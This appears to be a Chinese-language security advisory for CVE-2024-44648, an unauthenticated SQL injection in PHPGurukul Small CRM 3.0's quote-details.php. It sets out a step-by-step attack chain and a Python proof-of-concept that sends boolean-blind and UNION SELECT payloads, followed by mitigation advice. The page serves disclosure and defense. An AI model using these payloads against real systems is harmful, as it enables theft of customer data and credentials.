IPBUF安全漏洞报告
English
CVE-2024-44648 CVSS 6.5 中危

CVE-2024-44648: PHPGurukul Small CRM 3.0 SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-44648
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Small CRM 3.0

相关标签

SQL注入PHPGurukul Small CRMCVE-2024-44648Web应用安全客户关系管理系统无需认证quote-details.php

漏洞概述

CVE-2024-44648是PHPGurukul Small CRM 3.0中发现的一个中等严重性安全漏洞。该漏洞位于quote-details.php文件中,攻击者可以通过id和adminremark参数进行SQL注入攻击。PHPGurukul Small CRM是一款基于PHP和MySQL开发的客户关系管理系统,广泛应用于中小型企业的销售和客户管理。由于该漏洞无需认证即可利用,攻击者可以通过网络直接发起攻击,窃取数据库中的敏感信息,包括客户数据、业务记录和系统配置信息等。CVSS 3.1评分6.5表明该漏洞对机密性和完整性有一定影响,但可用性影响较低。企业和个人用户应尽快采取修复措施,以防止潜在的安全风险和数据泄露事件。

技术细节

该SQL注入漏洞存在于PHPGurukul Small CRM 3.0的quote-details.php文件中。漏洞根源在于应用程序对用户输入的id和adminremark参数缺乏有效的输入验证和SQL语句预编译处理。攻击者可以通过构造恶意的SQL语句片段,利用这些参数注入到数据库查询中。在未修复的版本中,应用程序直接将用户输入拼接到SQL查询语句中,攻击者可以利用UNION SELECT、布尔盲注或时间盲注等技术获取数据库中的敏感信息。由于该漏洞无需认证即可利用,攻击者可以直接通过HTTP请求访问受影响的参数。典型的利用方式包括:1) 使用单引号或双引号测试注入点;2) 通过ORDER BY确定列数;3) 使用UNION SELECT提取数据库版本、表名、列名等信息;4) 最终获取用户凭证或其他敏感数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用PHPGurukul Small CRM 3.0,并定位到存在漏洞的quote-details.php文件
STEP 2
步骤2: 注入点探测
通过在id参数后添加单引号、双引号等特殊字符,验证是否存在SQL注入漏洞
STEP 3
步骤3: 确定查询结构
使用ORDER BY语句确定原SQL查询的列数,为UNION注入做准备
STEP 4
步骤4: 数据库信息提取
利用UNION SELECT注入获取数据库版本、表名、列名等元数据信息
STEP 5
步骤5: 敏感数据窃取
通过构造恶意SQL查询,提取用户凭证、客户信息、业务数据等敏感内容
STEP 6
步骤6: 权限提升或持久化
如有需要,进一步利用获取的信息进行横向移动或数据篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-44648 PoC - SQL Injection in PHPGurukul Small CRM 3.0 # Target: quote-details.php via id and adminremark parameters def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2024-44648 This PoC demonstrates the vulnerability using boolean-based blind injection """ # Test basic injection on 'id' parameter print("[*] Testing SQL Injection on id parameter...") # Normal request normal_payload = f"{target_url}/quote-details.php?id=1" # Boolean-based injection test true_payload = f"{target_url}/quote-details.php?id=1' AND 1=1 --+" false_payload = f"{target_url}/quote-details.php?id=1' AND 1=2 --+" try: # Check if application is vulnerable r_normal = requests.get(normal_payload, timeout=10) r_true = requests.get(true_payload, timeout=10) r_false = requests.get(false_payload, timeout=10) if r_true.status_code == r_normal.status_code and r_false.status_code != r_normal.status_code: print("[+] Vulnerability confirmed! Application is vulnerable to SQL Injection") # Extract database version using UNION injection union_payload = f"{target_url}/quote-details.php?id=1' UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12 --+" print(f"[*] Extracting database version...") r_union = requests.get(union_payload, timeout=10) if '5.' in r_union.text or '8.' in r_union.text: print("[+] Database version extracted successfully") else: print("[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def main(): if len(sys.argv) < 2: print("Usage: python cve-2024-44648.py <target_url>") print("Example: python cve-2024-44648.py http://localhost/small-crm") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target) if __name__ == "__main__": main()

影响范围

PHPGurukul Small CRM 3.0

防御指南

临时缓解措施
在官方修复补丁发布前,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拦截包含SQL特殊字符的请求;2) 临时禁用quote-details.php页面或限制其访问;3) 加强对数据库的监控和日志审计,及时发现异常查询行为;4) 实施IP白名单或地理位置限制,减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表